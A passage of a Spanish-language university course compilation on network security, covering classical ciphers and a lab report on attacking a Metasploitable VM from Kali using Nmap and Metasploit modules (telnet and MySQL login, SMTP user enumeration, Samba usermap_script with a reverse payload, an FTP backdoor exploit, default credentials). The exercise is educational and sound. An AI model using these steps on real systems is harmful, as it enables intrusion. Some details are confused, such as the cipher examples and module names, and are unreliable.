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Resumen 

El presente tomo académico recopila y desarrolla los contenidos abordados durante el 

periodo 2025-1 en la asignatura Seguridad y Auditoría de Redes. A lo largo del documento se 

describen los procedimientos, herramientas y metodologías empleadas en los diferentes 

laboratorios prácticos enfocados en reconocimiento, análisis de vulnerabilidades, explotación 

controlada y fortalecimiento de la seguridad en entornos virtualizados. Se emplearon 

distribuciones GNU/Linux, sistemas Windows, máquinas vulnerables y equipos de red con el fin 

de comprender de manera integral el funcionamiento de los ataques y las estrategias de 

protección. Este informe sirve como evidencia del proceso formativo, permitiendo consolidar 

competencias en ciberseguridad ofensiva y defensiva bajo un enfoque ético y académico.  
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Introducción 

La seguridad informática constituye uno de los pilares fundamentales en la 

administración moderna de redes y sistemas de información. En el marco de la asignatura 

Seguridad y Auditoría de Redes, se desarrolló una serie de actividades teórico–prácticas 

orientadas a comprender los principios y procedimientos esenciales para identificar, evaluar y 

mitigar vulnerabilidades en diferentes plataformas tecnológicas. Para ello se emplearon 

máquinas virtuales configuradas en un entorno controlado, permitiendo explorar herramientas de 

análisis de puertos, explotación de servicios, verificación de configuraciones inseguras y uso de 

suites especializadas como Nmap, Metasploit Framework, Aircrack-ng, entre otras. 

El presente tomo recoge los resultados, comandos utilizados, explicaciones y evidencias 

de los laboratorios realizados durante el semestre. Su propósito es documentar de forma 

estructurada las prácticas llevadas a cabo, fortaleciendo el entendimiento de las técnicas 

empleadas en auditorías de seguridad y resaltando la importancia del enfoque ético en cada 

procedimiento. De esta manera, el informe se convierte en un apoyo académico para futuros 

procesos de aprendizaje y para la consolidación de habilidades profesionales en el ámbito de la 

ciberseguridad. 
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Alcance 

El informe cubre un período de trabajo de cuatro 4 meses, iniciando el lunes 17 de julio 

de 2025 y extendiéndose hasta el miércoles 21 de noviembre de 2025, momento límite 

establecido para la entrega oficial del documento. Durante este tiempo se realizaron diferentes 

prácticas, se vieron distintos temas, se configuraron distintas de las máquinas virtuales, se 

ejecutaron las pruebas correspondientes por cada tema, se recopilaron evidencias (capturas de 

pantalla, salidas de comandos, configuraciones relevantes) y se sistematizó la información en el 

presente documento, con el fin de dejar constancia del procedimiento y servir como insumo de 

estudio futuras. 
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Objetivos 

General  

Documentar de manera integral los contenidos, prácticas y procedimientos desarrollados 

durante el periodo académico 2025-1 en la asignatura Seguridad y Auditoría de Redes, impartida 

por el docente Rafael Sandoval Morales, con el fin de consolidar un tomo académico que refleje 

el proceso formativo de los estudiantes del IX semestre del programa de Telecomunicaciones e 

Informática. 

Específicos  

• Describir los fundamentos teóricos relacionados con la seguridad y auditoría de 

redes, incluyendo conceptos, métodos y normativas vistas durante el periodo 

académico 2025-1. 

• Documentar de manera detallada los procedimientos desarrollados en los 

laboratorios prácticos, tales como reconocimiento de redes, uso de herramientas 

de análisis, exploración de vulnerabilidades y pruebas controladas en máquinas 

virtuales. 

• Aplicar herramientas y técnicas de ciberseguridad ofensiva y defensiva, como 

análisis de puertos, explotación controlada de vulnerabilidades, creación de 

payloads y uso de entornos virtualizados para comprender sus funciones y 

alcances. 

• Analizar los resultados obtenidos en cada práctica de laboratorio, identificando 

dificultades, aprendizajes y mejoras, con el fin de fortalecer las competencias en 

auditoría y seguridad de redes.  
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Planteamiento Del Problema 

En el contexto actual, las redes informáticas son fundamentales para el funcionamiento 

de instituciones educativas, organizaciones y sistemas tecnológicos. Sin embargo, esta creciente 

dependencia de la conectividad expone a dichos entornos a riesgos de seguridad cada vez más 

sofisticados. La mayoría de los ataques exitosos ocurren no solo por fallas técnicas, sino por la 

falta de conocimiento en procedimientos de auditoría, análisis de vulnerabilidades y respuesta 

ante incidentes. 

Durante el desarrollo de la asignatura Seguridad y Auditoría de Redes, los estudiantes 

deben enfrentar escenarios reales simulados mediante máquinas virtuales y laboratorios 

controlados. No obstante, surge un problema principal: la ausencia de un documento consolidado 

que recopile explique y analice de manera integral las técnicas, herramientas y procesos 

aplicados en los laboratorios prácticos, tales como reconocimiento de servicios, escaneo de 

puertos, explotación de vulnerabilidades, generación de payloads, uso de máquinas vulnerables, 

análisis de tráfico y técnicas básicas de mitigación. 

Esta falta de documentación estructurada dificulta el seguimiento, la comprensión y la 

estandarización de los procedimientos realizados, afectando la apropiación del conocimiento y 

dificultando el estudio autónomo. Además, los estudiantes pueden cometer errores que retrasan el 

aprendizaje, como configuraciones incorrectas, mal uso de herramientas o desconocimiento de la 

secuencia lógica de un proceso de auditoría. 

Por tanto, se identifica la necesidad de crear un tomo académico que compile y explique 

de forma detallada, clara y práctica todas las actividades, comandos, análisis y resultados 

obtenidos, con el fin de facilitar el aprendizaje, apoyar futuras cohortes y fortalecer la 

comprensión de los conceptos de seguridad y auditoría de redes.  
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1. Capítulo 1: Cifrados.  

1.1. Concepto Introductorio 

El cifrado es una técnica utilizada desde la antigüedad para proteger la información, 

garantizando que solo las personas autorizadas puedan comprender el mensaje original. En 

esencia, consiste en transformar un texto legible (texto plano) en un texto ininteligible (texto 

cifrado) mediante el uso de una regla o algoritmo. 

A lo largo de la historia, los métodos de cifrado han evolucionado desde sistemas 

manuales simples, como el cifrado César, hasta complejos algoritmos computacionales modernos 

que emplean claves de gran longitud y operaciones matemáticas avanzadas. 

El objetivo principal del cifrado es preservar la confidencialidad y seguridad de la 

información, evitando el acceso no autorizado a datos sensibles. Existen distintos tipos de 

cifrados que pueden clasificarse, de manera general, en cifrados por sustitución (donde se 

reemplazan letras o símbolos) y cifrados por transposición (donde se cambia el orden de los 

caracteres). 

En este capítulo se estudiarán los principales tipos de cifrados clásicos, iniciando con el 

cifrado César, uno de los más antiguos y sencillos, seguido por el cifrado Vigenère, que introduce 

el concepto de clave para aumentar la seguridad del mensaje. 
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1.2. Tipos de cifrados  

1.2.1 cesar 

El cifrado del cesar  indica que va a iniciar desde el final, es un cifrado tradicional por 

desplazamiento, es una de las técnicas de codificación más simples y más usadas, quiere decir 

que, si me posiciono en una letra la cuenta 3 posiciones anteriores a esa letra, los signos < y > 

define si retrocedemos o avanzamos, esto quiere decir que si es <3 debemos posicionarnos 3 

letras por delante de la que tenemos y si es >3 se retrocederá 3 letras.  

Inglés : A B C D E F G H  I  J  K  L  M N O P Q R S T U V W X Y Z 

Español : A B C D E F G H  I  J  K  L  M N Ñ O P Q R S T U V W X Y Z 

1.2.2 Ejemplo 1 de cifrado:  

< 3 

• Palabra: La informática es esencial (descifrarlo) 

• Cifrado: ODLQIRUPDWLFD 

<4   >2  <5  >3   <4  <6 

• Palabra: piti  es   la  mejor  de   ñapa  

• Cifrado:  mepe gu gv ohmru za tgvg 

1.2.3 Ejemplo 2 

<4 >5           >3 <2 >3  <3 >3 

• Palabra: S E G U R I D A D       D E     R E  D E S      U  T C H 

• Cifrado:  oacqnezwz                      gh        pgfgu              rqze 

• Segundo cifrado: tfhvsjebe gh sfeft utch 
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1.2.4  Cifrado vigenier.  

El cifrado Vigenère es un método de cifrado polialfabético que utiliza una palabra clave 

para determinar una serie de desplazamientos en el alfabeto. A diferencia del cifrado César, que 

emplea un único desplazamiento fijo para todo el texto, el cifrado Vigenère aplica un 

desplazamiento distinto para cada letra del mensaje, según las letras de la clave elegida. 

Este sistema fue descrito por primera vez en el siglo XVI y se atribuye al diplomático 

francés Blaise de Vigenère, aunque versiones previas del método ya habían sido propuestas por 

otros criptógrafos europeos. Su objetivo principal era aumentar la seguridad del cifrado por 

sustitución simple, haciendo más difícil la detección de patrones repetitivos mediante análisis de 

frecuencia. 

El proceso se basa en la repetición de una palabra clave a lo largo del texto a cifrar. Cada 

letra de la clave indica cuántas posiciones debe desplazarse la letra correspondiente del texto 

original dentro del alfabeto. La operación se realiza de manera modular, lo que garantiza que el 

resultado siempre corresponda a una letra válida. 

1.2.5 Ejemplo de cifrado vigenier. 

Supóngase que se desea cifrar la frase: 

• Texto original: REGISTRO Y CONTROL 

• Palabra clave: JEFE 

Primero, se repite la palabra clave hasta igualar la longitud del texto: 

| Texto original | R | E | G | I | S | T | R | O | Y | C | O | N | T | R | O | L | 

| Palabra clave  | J | E | F | E | J | E | F | E | J | E | F | E | J | E | F | E | 
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A continuación, cada letra del texto se sustituye por la letra que se encuentra en la 

intersección correspondiente de la tabla de Vigenère, donde las filas representan las letras del 

texto original y las columnas las letras de la clave. De este modo, el cifrado resultante depende 

tanto del contenido del mensaje como de la palabra clave utilizada, lo que hace que el método 

sea mucho más resistente a los ataques criptográficos clásicos que el cifrado César. 

  



41 

 

2. Capítulo 2: Introducción al mundo de la ciberseguridad - Prueba de Penetración en un 

Entorno Académico Virtual Utilizando Nmap Y Metasploit 

 

2.1. Introducción  

La siguiente sección  tiene como finalidad documentar detalladamente el proceso 

mediante el cual se llevó a cabo la identificación, análisis y explotación de vulnerabilidades en 

una máquina virtual vulnerable (Metasploitable), utilizando herramientas como Nmap y 

Metasploit Framework, dentro del entorno de red previamente configurado bajo VirtualBox con 

adaptadores NAT. Este ejercicio corresponde a la práctica asignada por el docente a cargo como 

parte del desarrollo de competencias en auditoría de seguridad informática, y fue realizado en un 

entorno académico controlado y con fines exclusivamente educativos. Dentro de este contexto, 

también se busca demostrar la correcta aplicación de conceptos clave de la ciberseguridad 

ofensiva, como son el reconocimiento activo de servicios, la enumeración de versiones, la 

búsqueda de exploits conocidos, y la ejecución de payloads interactivos para obtener control 

sobre sistemas objetivo. Las técnicas desarrolladas están alineadas con los lineamientos éticos 

del hacking de penetración, y se basan en las instrucciones proporcionadas por el docente en 

sesiones anteriores, así como en la documentación técnica de las herramientas empleadas.  

  



42 

 

2.2.  Alcance  

Según lo estimado esta sección  cubría un período de trabajo de cuatro días, iniciando el 

lunes 4 de agosto de 2025 y extendiéndose hasta el miércoles 6 de agosto de 2025, finalizando el 

jueves 7 de agosto a las 9:00 a. m., momento límite establecido para la entrega oficial del 

documento. Durante este tiempo se realizó la configuración de las máquinas virtuales, se 

ejecutaron las pruebas correspondientes, se recopilaron evidencias (capturas de pantalla, salidas 

de comandos, configuraciones relevantes) y se sistematizó la información en el presente informe, 

con el fin de dejar constancia del procedimiento y servir como insumo de estudio para 

evaluaciones futuras. 

2.3.Objetivos 

2.3.1 General  

Realizar una prueba de penetración controlada sobre una máquina virtual vulnerable 

(Metasploitable), utilizando herramientas de análisis y explotación como Nmap y Metasploit 

Framework, con el fin de identificar y documentar vulnerabilidades explotables en un entorno 

académico simulado. 

2.3.2 Específicos  

• Configurar correctamente el entorno de red entre las máquinas virtuales (atacante 

y víctima) dentro de VirtualBox, asegurando la conectividad a través de una red 

NAT denominada “SEMESTRE9-2025-1”. 

• Ejecutar escaneos de red mediante Nmap para descubrir hosts activos y obtener 

información detallada sobre los servicios y versiones disponibles en la máquina 

víctima. 
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• Identificar posibles vulnerabilidades presentes en los servicios detectados, 

mediante el uso de herramientas como Searchsploit y los módulos incorporados 

en Metasploit Framework. 

• Configurar y utilizar correctamente módulos de explotación en Metasploit para 

ejecutar payloads que permitan tomar control de los servicios vulnerables en la 

máquina víctima. 

• Documentar paso a paso el proceso realizado, incluyendo evidencias como 

comandos ejecutados, resultados obtenidos y capturas de pantalla que respalden 

los hallazgos técnicos.  
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2.4. Planteamiento Del Problema Del Capítulos 2 

En un entorno cada vez más digitalizado e interconectado, las organizaciones, 

instituciones educativas y usuarios particulares dependen en gran medida de sistemas 

informáticos que ofrecen múltiples servicios en red. Esta creciente dependencia ha traído consigo 

una expansión de la superficie de ataque, es decir, el conjunto de puntos vulnerables por donde 

un atacante podría comprometer la seguridad de un sistema. A pesar de los avances tecnológicos 

en software y hardware, muchos servicios siguen presentando fallas de configuración, versiones 

obsoletas o vulnerabilidades conocidas que pueden ser explotadas fácilmente si no se identifican 

y mitigan a tiempo. 

En el ámbito educativo, uno de los principales desafíos consiste en brindar a los 

estudiantes oportunidades para aplicar de forma práctica los conocimientos adquiridos en el aula 

sobre seguridad informática, análisis de vulnerabilidades y técnicas de explotación. Sin embargo, 

realizar prácticas de hacking ético directamente sobre sistemas reales implica riesgos éticos, 

legales y operacionales. Es por ello que el uso de entornos virtualizados, como Metasploitable, se 

ha convertido en una herramienta fundamental para el aprendizaje responsable y seguro de estas 

habilidades. 

A pesar de contar con estos recursos, muchos estudiantes no comprenden con claridad la 

forma adecuada de aplicar las herramientas de análisis y explotación, ni los pasos metodológicos 

necesarios para llevar a cabo una prueba de penetración completa y estructurada. El 

desconocimiento sobre cómo descubrir servicios vulnerables, identificar exploits adecuados o 

ejecutar un ataque sin comprometer la estabilidad del entorno puede dificultar el proceso de 

aprendizaje y limitar la comprensión de los conceptos clave de ciberseguridad ofensiva. 
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Este informe surge como respuesta a la necesidad de documentar de forma clara y 

práctica cómo realizar una prueba de penetración ética sobre una máquina vulnerable, replicando 

un escenario realista en un entorno académico controlado. En este caso, se hace uso de 

herramientas ampliamente reconocidas como Nmap, para el reconocimiento activo de la red, y 

Metasploit Framework, para la explotación de vulnerabilidades conocidas, con el fin de 

fortalecer las competencias técnicas del estudiante, mejorar su capacidad de análisis y prepararlo 

adecuadamente para situaciones prácticas que puedan presentarse tanto en el entorno académico 

como en el profesional. 
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2.5. Desarrollo del capítulo: Reconocimiento y Explotación de Servicios Vulnerables en 

Metasploitable Usando Nmap y Metasploit 

El lunes 4 de agosto de 2025, el docente Rafael  S Morales, como parte de la 

recuperación de la clase del día 31 de Julio de 2025,en esta clase se dio la introducción al mundo 

de la ciberseguridad. Los temas tratados en dicho encuentro obedecieron a como se configura el 

NAT, que básicamente en una forma de DHCP para las máquinas virtuales, el software que se 

eligió para la creación de estas máquinas virtuales fue VirtualBox. 

2.6.Conocimientos Previos  

Antes de comenzar  a desarrollar el informe y mostrar los resultados obtenidos de debe 

conocer una serie de conceptos  que por lo menos yo considero que son de suma importancia 

para conocer lo que se hizo y con que se trabajó. 

2.6.1 ¿Qué es VirtualBox? 

Según (Oracle, 2024) “VirtualBox es un software de virtualización completo de propósito 

general para hardware x86_64 (con la versión 7.1 adicionalmente para macOS/Arm), dirigido a 

computadoras portátiles, computadoras de escritorio, servidores y uso integrado.” 

VirtualBox  nos permite ejecutar múltiples sistemas operativos como máquinas virtuales 

en un único equipo físico, sin necesidad de reiniciar ni alterar el sistema principal. Es compatible 

con diversas plataformas anfitrionas como Windows, Linux, macOS y lo que o hace un software 

bastante necesario dentro del campo de la enseñanza y la practica en el ámbito de la ciber 

seguridad. 

2.6.1.1 Características de VirtualBox. 

Según Oracle las principales características de VirtualBox son: 
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• Soporte para sistemas operativos invitados como Debian, Ubuntu, Kali Linux, 

Windows, entre otros. 

• Configuración flexible de recursos (memoria, CPU, almacenamiento). 

• Compatibilidad con imágenes ISO, instantáneas del sistema, carpetas 

compartidas, USB y red virtual. 

• Comunidad activa y documentación abundante 

2.6.1 ¿Qué es Nmap? 

(Nmap, s. f.) dice “Nmap (“mapeador de redes”) es una herramienta de código abierto 

para exploración de red y auditoría de seguridad. Se diseñó para analizar rápidamente grandes 

redes, aunque funciona muy bien contra equipos individuales.” 

Nmap envía paquetes personalizados a las máquinas objetivo y analiza las respuestas para 

inferir información sobre los servicios, puertos, protocolos y sistemas operativos presentes. 

Puede trabajar tanto en modo sencillo (ping scan, escaneo TCP) como en modos avanzados 

usando scripts personalizados. 

2.6.2 ¿Qué son Metasploitable 2 y Kali Linux? 

Metasploitable es una máquina virtual intencionalmente vulnerable creada por Rapid7 

(los mismos desarrolladores de Metasploit Framework) con el propósito de que estudiantes, 

investigadores y profesionales de la seguridad informática puedan practicar técnicas de hacking 

ético y pruebas de penetración en un entorno controlado y legal. 

Según (Buckbee, 2022) : 

El Proyecto Metasploit fue emprendido en 2003 por HD. Moore para su uso como 

herramienta de red portátil basada en Perl, con la ayuda del desarrollador principal Matt 
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Miller. Se convirtió completamente a Ruby en 2007, y la licencia fue adquirida por 

Rapid7 en 2009, donde permanece como parte del repertorio de la compañía con sede en 

Boston de desarrollo de firmas IDS y herramientas específicas de explotación remota, 

fuzzing, antiforense y evasión. 

Por otro lado, Kali Linux es una distribución de Linux especializada en ciberseguridad, 

desarrollada por Offensive Security. Está diseñada específicamente para realizar pruebas de 

penetración, análisis forense digital, ingeniería inversa y auditorías de seguridad. 

Según el Sitio oficial  (Kali Linux, 2025): “Kali Linux es una distribución de Linux de 

código abierto basada en Debian orientada a diversas tareas de seguridad de la información, 

como pruebas de penetración, investigación de seguridad, informática forense e ingeniería 

inversa que incluye más de 600 herramientas preinstaladas” 

2.6.2.1 Características de estos sistemas  

Si hacemos un cuadro comparativo entre los dos entornos encontraremos que tiene las 

siguientes características :  

Tabla 1. Características Entre Kali Linux y Metaploitable 

Característica Metasploitable Kali Linux 

Función 

principal 

Máquina víctima (con fallas) uso 

educativo 

Máquina atacante (con más de 600 

herramientas ) 

Diseñada para Ser explotada en entornos de 

prueba 

Realizar ataques controlados y 

análisis 

Basada en Linux (generalmente Ubuntu) Linux Debian 

Riesgo si se 

expone 

Alto (tiene vulnerabilidades 

activas) 

Bajo (controlado por el usuario) 
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2.7.Conducto Seguidos al Desarrollar Esta Práctica (paso 1) 

Para empezar a desarrollar esta práctica seguimos los siguientes pasos que se 

desarrollaran a continuación . 

2.7.1  Configuración de la red NAT para nuestro practica 

Lo primero que hicimos fue configurar una red NAT para  que los equipos virtuales se 

comuniquen entre sí, esta red actuara como un servicio DHCP que les rentara direcciones tanto a 

Kali Linux como a Metaploteible, lo que en última instancia permitió la comunicación entre 

estos sistemas 

 

Figura  1. Ingreso al Apartado de Herramientas de VirtualBox 

Observación: Lo primero que se hizo fue ingresar al VirtualBox y se entro al apartado de 

herramientas ( marcado con el rectángulo verde). 
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Figura  2. Selección del Apartado Red 

Observación: Lo siguiente fue darle clic al apartado de red tal cual como se puede 

observar en la imagen anterior, luego podemos entender cómo se crea el NAT 

 

Figura  3. Creación de Red NAT 

Observación: al ingresar al apartado de nos saldrá el siguiente cuadro; si bien este 

apartado nos permite crear 3 tipos de redes,  aquí seleccionaremos la opción de red NAT (flecha- 
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azul) luego seleccionamos la opción de crear (cuadro naranjado) en ahí ingresaremos el nombre 

que queramos para nuestra red, en mi caso elegí la red Red-semestre9-2025-1, por que fue con 

la que trabajamos en clase. Por último, nos ubicamos en la parte inferior de nuestra página e 

ingresamos  la Ip a repartir, el prefijo que necesitemos y precionamos habilitar el DHCP, los 

datos ingresados fueron los siguientes. 

Tabla 2. Datos de la Red NAT 

Nombre Ip prefijo 

semestre-9-2025-1 192.1.1.0 /24 

 

2.7.2 Se habilita el apartador de red NAT en los sistemas Kali Linux y Metaplotaible 

Para poder habilitar la opción de apartador NAT en los sistemas operativos que estamos 

trabajando haremos lo siguiente: 

 

Figura  4. Habilitación Adaptador NAT en Kali y Metap 
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Damos clic en los 3 cuadros (flecha naranja) luego  el apartado de configuración (flecha 

azul) precionamos el apartado de red (flecha negra). Por último, habilitamos el adaptador de red 

y seleccionamos la opción de conectar red NAT, se habilita el modo promiscuo para que se 

permita, si hacemos todo bien nos debería salir asi. 

 

Figura  5. Forma Correcta de Configuración , configuración en Kali Linux 

Observación:  Al configurar el adaptador de forma correcta nos debería salir el nombre 

de la red NAT y el modo promiscuo debería poder configurarse en permitir todo. 

 

Figura  6. Configuración en Metaplotaible 
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2.7.3 Se verifica la comunicación entre los dos sistemas 

Para verificar que lo que hicimos hasta aquí funciona lo primero que hicimos fue ingresar 

desde nuestras máquinas virtuales (Kali Linux y Metaploteible ) y revisar que la red NAT si nos 

esté entregando una dirección del segmento de red que configuraos 

 

Figura  7. Revisión de Dirección IP Entregada en Kali 

Observación: Utilizando el comando ip a (flecha naranjada) en nuestra terminal de Kali 

Linux podemos revisar que el servicio si nos dio una dirección Ip (fecha azul) del segmento que 

se creó en la Red NAT. Este paso se aplicó también en la otra máquina. 
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Figura  8. Revisión de Dirección IP Entregada en Metapl 

Aplicamos los mismos comandos (mirar el rectángulo naranja aquí se aplicó el comando 

y la flecha azul)  en nuestra máquina virtual con metaploteible en donde obtuvimos un resultado 

bastante similar al que pueden observar en la imagen anterior. 

Las direcciones ip que tienen nuestras maquinas son: 

Tabla 3. Direcciones Rentadas Desde el NAT a Cada Maquina 

Maquina Ip Prefijo 

Kali Linux 192.1.1.5 /24 

Metaplotaible 192.1.1.6 /24 
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2.7.3.1 Ping de Kali Linux a Metaplotaible 

Para probar que todo este funcionando bien y como medida adicional dimos ping de 

extremo a extremo, esto quiere decir que mandamos un mensaje de una maquina a la otra para 

como prueba final. Esto se hizo para confirmar que haya conexión para asi poder hacer la 

vulnerabilidad de Kali a Metaplotaible. A continuación, adjuntamos las captura. 

 

Figura  9. Ping de Kali  a Metaplotaible 

Observación: Se evidencia que todo esta funcionando correctamente y el ping llega sin 

problema. 

 

Figura  10. Ping de Metaplotaible a Kali 
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2.8. Empezamos el Proceso de Vulneración en Los Puertos Solicitados (Paso 2) 

Ya con conexión entre las dos maquina entonces empezamos el proceso de vulneración, 

lo primero que se hizo fue escanear  

2.8.1   Escaneo de Los Puertos Con Nmap sn (Paso 3) 

Para iniciar la prueba de penetración, se realizó un escaneo de la red con la herramienta 

Nmap, con el fin de identificar qué dispositivos se encontraban activos en el segmento de red 

asignado a las máquinas virtuales. El comando ejecutado fue nmap -sn 192.1.1.0/24  

 

Figura  11. Excaneo de la Red Con Un Ping Rápido Utilizando Nmap sn 

Observación: Este comando que utilizamos nos indica que Nmap que realizo un ping 

scan sobre todas las direcciones IP dentro del rango 192.1.1.0 a 192.1.1.255 (subred /24), con el 

propósito de detectar hosts que estén encendidos sin escanear sus puertos. 

2.8.2  Escaneo de Puertos y Servicios Vulnerables Con Nmap sV (Paso 4) 

Una vez identificada la dirección IP 192.1.1.6 como una de las máquinas activas en la 

red, se procedió a realizar un escaneo más profundo mediante el comando nmap sV 192.1.1.6  

en donde se identificaron  los puertos abiertos,  también intentamos identificar el nombre y la 
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versión del servicio que se ejecuta en cada puerto. Esto es bastante en una prueba de penetración, 

ya según lo dicho en clase, “ muchas vulnerabilidades están asociadas a versiones específicas de 

servicios.” 

 

Figura  12. Escaneo de Puertos y Servicios Vulnerables Con Nmap sV 

Observación: Esta imagen muestra los resultados que obtuvimos al ejecutar el comando 

nmsp –sV 192.1.1.6  con el cual identificamos los siguientes puertos y servicios vulnerables. 

Tabla 4. Servicios detectados en la máquina víctima 

Puerto Protocolo Servicio Versión detectada 

21 TCP FTP vsftpd 2.3.4 (vulnerable a backdoor) 

22 TCP SSH OpenSSH 4.7p1 Debian (obsoleto) 

23 TCP Telnet Linux telnetd (protocolo inseguro) 

25 TCP SMTP Postfix smtpd 

53 TCP DNS ISC BIND 9.4.2 

80 TCP HTTP Apache 2.2.8 

111 TCP RPCBind RPC 2 
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Puerto Protocolo Servicio Versión detectada 

139/445 TCP Samba (SMB) Samba 3.x - 4.x (posible explotación remota) 

512-514 TCP R services rexec, rlogin, rsh (riesgo de ejecución remota) 

1099 TCP Java RMI Registry GNU Classpath gmriregistry 

1524 TCP Shell remoto Metasploitable root shell 

3306 TCP MySQL MySQL 5.0.51a-3ubuntu5 

5432 TCP PostgreSQL PostgreSQL 8.3.x 

5900 TCP VNC VNC protocol (con acceso denegado) 

6000 TCP X11 Interfaz gráfica X11 (sin protección) 

8009 TCP AJP13 Apache Jserv 

8180 TCP HTTP Apache Tomcat/Coyote JSP engine 1.1 

 

Ya teniendo una lista de servicios y versiones detectadas procedimos entonces hacer la 

vulneración en los puertos solicitados por el docente Rafael S Morales aplicando los pasos 

aprendidos en clase con él. 

Para tener en cuenta: Para efectos prácticos adjuntamos una tabla con los puertos que el 

docente solicito que vulneráramos.  

Tabla 5. Puertos Para Vulnerar 

Puerto Servicio Versión 

23/tcp Telnet Linux Telnet 

25/tcp SMTP Postfix smtpd 

53/tcp DNS ISC BIND 9.4.2 

139/tcp Samba (SMB) Samba 3.x - 4.x (WORKGROUP) 

445/tcp Samba (SMB) Samba 3.x - 4.x (WORKGROUP) 

2121/tcp FTP alternativo ProFTPD 1.3.1 

3306/tcp MySQL MySQL 5.0.51a-3ubuntu5 

5432/tcp PostgreSQL PostgreSQL 8.3.x 
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2.8.2.1 Vulneración del Puerto 23 (paso 5) 

Para vulnerar este puerto lo primero que hicimos fue ingresar al modo super usuario, para 

este se utilizó el comando sudo su, este comando nos permitió tener acceso a todas las 

herramientas que necesitábamos luego de esto, se accedió a la consola de metaplotaible 

framework  a través del comando msfconsole   tal como lo muestra la siguiente imagen  

 

Figura  13.Ingreso a Metaplotaible Framework Por Msfconsole 

Luego de estar aquí y utilizando el comando search telnet_login (Flecha azul) para 

identificar los módulos auxiliares que podíamos usar para realizar esta vulneración. 

 

Figura  14. Identificación de Módulos Auxiliares Con Search Telnet_Login 
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Con el comando use y el numero 1  (flecha naranjada) Elegimos el módulo auxiliar que 

íbamos a utilizar para realizar la vulneración y luego pedimos con el siguiente paso. 

 

Figura  15.Optiones de Usuario y Contraseña 

Observación: con el comando Options pudimos ver las opciones de contraseña que se 

requerían para ingresar a esta máquina. 

 

Figura  16. Ingreso por Telnet 
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Ingresamos a telnet por medio de la dirección ip 192.1.1.6  (flecha verde) y mediante El 

Usuario msfadmin y la contraseña msfadmin pudimos ingresar a la maquina completando así la 

vulneración.  

2.8.2.2  Vulneración Del Puerto 25 (SMTP-Paso 6) 

 Accedimos a la consola de metaplotaible framework  a través del comando msfconsole   

luego utilizando el comando Search smtp_enum revisamos los módulos existentes para hacer 

esta penetración  

 

Figura  17.Modulos Auxiliares Para SMTP 

Lo segundo que se hizo fue usar el modulo elegido. Con el comando Use 0 elegimos el 

módulo tal como lo muestra la siguiente imagen, este módulo automatiza el proceso de envío de 

peticiones SMTP con nombres de usuario que se leen desde un archivo tipo diccionario. 

 

Figura  18. Elección Del Módulo y Reistro del Rhosts 
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Observación: Nótese que en esta misma imagen y registramos el  Rhosts, usamos l 

comando Set rhosts 192.1.1.6 (flecha negra) para registrar la dirección de la victima a la que 

vamos a atacar  

 

Figura  19. Configuración y Ejecución Del Módulo Unix_Users.Txt 

Luego utilizamos el archivo set user_file /usr/share/metasploit-

framework/data/wordlists/unix_users.txt  Este archivo contiene una lista predefinida de 

nombres de usuarios comunes en sistemas Unix/Linux Posteriormente, se ejecutó el módulo con 

Run 

 

Figura  20. Resultado Obtenido al Ejecutar lo Que Hicimos 

2.8.2.3  Penetracion Del Puerto 53 (DNS-Paso 7) 

Para este puerto  proceso de ingreso es prácticamente el mismo, por lo menos em mi caso 

ya que antes de vulnerar algún puerto lo que hacia era limpiar la consola, volviendo a la 

explicación, lo primero que hice luego de ingresar el comando Msfconsole fue ingresar el 

comando Search dns. Este comando nos permite revisar los módulos auxiliares presente dentro 

de metaplotaible framework a la hora de vulnerar puertos dns. 
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Figura  21. Elegimos el Módulo Axiliar para DNS 

Luego de hace la elección del respectivo modulo utilizamos el comando  use 

auxiliary/gather/enum_dns para elegir el modulo que se va a utilizar en esta penetración. Show 

options nos muestras los distintos módulos opcionales del módulo auxiliar elegido (ver el circulo 

amarillo).  

 

Figura  22. Elección Del Respectivo Modulo y su Opción 

Luego se utilizó el módulo enum_dns de Metasploit para realizar consultas DNS sobre el 

dominio interno set DOMAIN metasploitable.local, Aunque se corrió el servicio usando Run, 

no se recibieron resultados  al útiles, el análisis confirmó que la máquina responde a peticiones 

DNS básicas, validando su configuración como servidor.   
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Figura  23. Módulo Enum_DNS de Metasploit Para Realizar Consultas DNS 

2.8.2.4  Vulneración en Puertos 139 y 445 (Paso 7) 

Omitiendo la explicación del uso del comando msfconsole lo primero que se hizo fue 

ingresar el comando Search samba smbd 3x que muestra los módulos auxiliares a utilizar. 

 

Figura  24. Módulos Auxiliares Para el Puerto 129 Y 445 

Luego se usó el comando use exploit/multi/samba/usermap_script que permite ingresar 

a las opciones que nos da el módulo anterior.  

 

Observación: Este comando nos permitió atacar el servicio Samba en el puerto 139 y el 

445 de la máquina víctima. Adicional se preparó el payload cmd/unix/reverse usuarios. 
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Figura  25.Registro del RHOS 

 

 

Figura  26. Explotamos el puerto seleccionado 

 Por último, usamos el comando exploit para explotar el servicio configurado y vulnerable 

que tenían los puertos. 

2.8.2.5  Vulneración del Puerto 2121 (Paso 8) 

Luego de identificar que el servicio en el puerto 2121 correspondía a una versión 

vulnerable de ProFTPD utilizando el comando Search ProFTPD, se procedió a utilizar 

Metasploit Framework para llevar a cabo una explotación directa.  
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Figura  27. Revisamos Los Módulos Que Podemos Usar Para Vulnerar Este Servicio. 

Para aprovechar la vulnerabilidad que tenía este puerto, utilizamos el módulo use 

exploit/unix/ftp/vsftpd_234_backdoor ya que este módulo explota una ejecución remota de 

comandos a través de una conexión maliciosa al servicio FTP, usando un canal de comunicación 

no autenticado.

 

Figura  28. Configuración Del Módulo Seleccionado 

Cabe resaltar que  al usar este módulo use exploit/unix/ftp/proftpd_234 selecciona 

automáticamente el payload cmd/unix/interact  que nos permite crear un aseso remoto 

interactivo. 
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Figura  29. Registro Del Rhosts y Rport 

Luego registramos el  Rhosts 192.1.1.6 y el Rport 2121 y por último corremos las 

configuraciones realizadas, Tras la ejecución del módulo, se recibió respuesta del servidor y, si la 

vulnerabilidad estaba activa, se estableció una sesión remota con acceso interactivo. Esto nos 

permite como atacante ejecutar comandos directamente en el sistema objetivo sin necesidad de 

autenticarnos previamente. 

 

Figura  30. Se Muestra el Rhosts y Rport guardados 

2.8.2.6  Vulneración del Puerto 3306 (MySQL) Paso 9 

Para vulnerar el puerto 3306 ingresamos el comando search mysql_login (flecha azul) 

que nos muestra el módulo que vamos a necesitar para realizar la vulneración, entonces 

procedimos a ingresar el comando Use 0  (línea naranjada ) que nos permite elegir el módulo 

Auxiliar para escanear posibles vulnerabilidades que nos dejen penetrar en la base de datos 
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Figura  31. Modulo Auxiliares Para Vulneras MySQL 

 

Figura  32. Opciones Para Penetrar en la Base de datos 
